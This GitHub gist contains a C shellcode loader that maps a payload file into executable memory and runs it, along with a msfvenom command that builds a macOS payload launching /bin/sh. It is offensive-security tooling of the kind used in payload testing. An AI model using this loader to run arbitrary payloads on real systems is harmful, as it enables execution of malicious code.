Skip to content

Instantly share code, notes, and snippets.

@libcrack
Created July 1, 2023 18:28
Show Gist options
  • Save libcrack/8ccc5e75e164c7959fa070ba9061e51b to your computer and use it in GitHub Desktop.
Save libcrack/8ccc5e75e164c7959fa070ba9061e51b to your computer and use it in GitHub Desktop.
Execute shellcode from file using mmap()
/*
* Exec shellcode from file
* gcc ./shellcode_mmap.c -o ./shellcode_mmap
*
* Sat Jul 1 20:21:12 CEST 2023
* [email protected]
*
* 1. Create a payload:
* msfvenom -p osx/x64/exec CMD=/bin/sh -f raw -o osx-exec.raw
*
* 2. Execute it
* $ ./shellcode_mmap osx-exec.raw
* Reading payload from osx-exec.raw
* File size is 31
* Length of shellcode: 31
* sh-3.2$
*
*/
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <errno.h>
int (*sc)();
int main(int argc, char **argv) {
char *shellcode = NULL;
char *filepath = NULL;
void *ptr = NULL;
struct stat statbuf;
short int fd;
size_t offset;
size_t size;
ssize_t result;
if (argc != 2){
printf("Usage: %s <payload file>\n", argv[0]);
exit(EXIT_FAILURE);
}
filepath = argv[1];
printf("Reading payload from %s\n", filepath);
if ((fd = open(filepath, O_RDONLY)) < 0){
perror("open() failed");
exit(EXIT_FAILURE);
}
if (fstat (fd, &statbuf) < 0){
perror("fstat() failed");
close(fd);
exit(EXIT_FAILURE);
}
printf("File size is %lld\n", statbuf.st_size);
if ( (ptr = mmap(NULL, statbuf.st_size, PROT_WRITE | PROT_EXEC,
MAP_FILE | MAP_PRIVATE, fd, 0)) == MAP_FAILED ){
perror("mmap() failed");
close(fd);
exit(EXIT_FAILURE);
}
sc = ptr;
sc();
if (munmap(ptr, statbuf.st_size) == -1){
perror("munmao() failed");
}
close(fd);
exit (EXIT_SUCCESS);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment